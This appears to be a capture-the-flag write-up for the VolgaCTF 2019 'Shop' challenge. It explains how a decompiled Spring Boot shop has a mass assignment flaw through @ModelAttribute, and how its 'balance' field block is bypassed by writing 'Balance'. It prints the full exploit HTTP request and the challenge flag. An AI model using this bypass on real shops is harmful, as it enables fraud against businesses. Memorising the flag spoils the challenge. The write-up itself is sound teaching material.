Shop====
Task description----------------
> Our famous shop is back!>> http://shop.q.2019.volgactf.ru/
Solution--------
TL;DR: Mass assignment vulnerability through ModelAttribute in Spring Boot.
This task involves a shop system where you can register accounts, sign in andbuy stuff like t-shirts, cake, and a flag. New users get 100 monetary unitsas a gift afters registration. Unfortunately, the flag costs 1337 monetaryunits, so we can only but t-shirts and cake.
Looking at the `/robots.txt` we see one entry `Disallow: /shop-1.0.0.war`. Wecan download this war file, which contains the shop application. War filesare essentially ZIP files which contain Java bytecode and the correspondingassets required to run the applications. After extracting the war file, you getan directory structure, where the relevant parts are the following:
    └── WEB-INF        ├── classes        │   ├── applicationContext.xml        │   ├── application.properties        │   ├── data.sql        │   ├── persistence.xml        │   ├── ru        │   │   └── volgactf        │   │       └── shop        │   │           ├── controllers        │   │           │   └── ShopController.class        │   │           ├── dao        │   │           │   ├── ProductDao.class        │   │           │   └── UserDao.class        │   │           ├── filters        │   │           │   └── AuthFilter.class        │   │           ├── models        │   │           │   ├── Message.class        │   │           │   ├── Product.class        │   │           │   └── User.class        │   │           └── ShopApplication.class
These class files contain the Java bytecode, which is not readable source code.However, you can still open them in IntelliJ IDEA, which ships with andecompiler that will decompile the files before opening them. What you get isperfectly readable Java source code. The shop application uses the Spring Bootframework. Looking at the `ShopController.class`, we find a method named `buy`,which handles the buying procedure of the shop.
    @Controller    public class ShopController {        // [...]        @RequestMapping({"/buy"})        public String buy(@RequestParam Integer productId, @ModelAttribute("user") User user, RedirectAttributes redir, HttpServletRequest request) {            HttpSession session = request.getSession();            if (session.getAttribute("user_id") == null) {                return "redirect:index";            } else {                Product product = this.productDao.geProduct(productId);                if (product != null) {                    if (product.getPrice() <= user.getBalance()) {                        user.setBalance(user.getBalance() - product.getPrice());                        user.getCartItems().add(product);                        this.userDao.update(user);                        redir.addFlashAttribute("message", "Successful purchase");                        return "redirect:profile";                    }
                    redir.addFlashAttribute("message", "Not enough money");                } else {                    redir.addFlashAttribute("message", "Product not found");                }
                return "redirect:index";            }        }
This method is annotated with an ModelAttribute annotation, referring to theuser variable, which is of type User. We can find the User class in`User.class`. The ModelAttribute annotation allows us to set any attribute ofthis user model via HTTP form data, resulting in an mass assignmentvulnerability.  The user model has several attributes, including the balanceof the user. All we have to do is to send an HTTP requests which buys theflag and include `balance=1337` as query parameter. However, this did notwork. Turns out, that there is some code preventing us from using `balance` asquery parameter:
    @Controller    public class ShopController {        // [...]        @InitBinder        public void initBinder(WebDataBinder binder) {            binder.setDisallowedFields(new String[]{"balance"});        }
Thankfully, we can bypass the check by using `Balance` instead of `balance`,which will also set the `balance` attribute of the user model. So register anaccount and send the following HTTP request (with your session id) to buy theflag:
    POST /buy?Balance=20000 HTTP/1.1    Host: shop.q.2019.volgactf.ru    Content-Type: application/x-www-form-urlencoded    Content-Length: 11    Connection: close    Cookie: JSESSIONID=21E66A003A3E444672C08D0D26D7F719
    productId=4
You will find the flag in your profile: VolgaCTF{c6bc0c68f0d0dac189aa9031f8607dba}.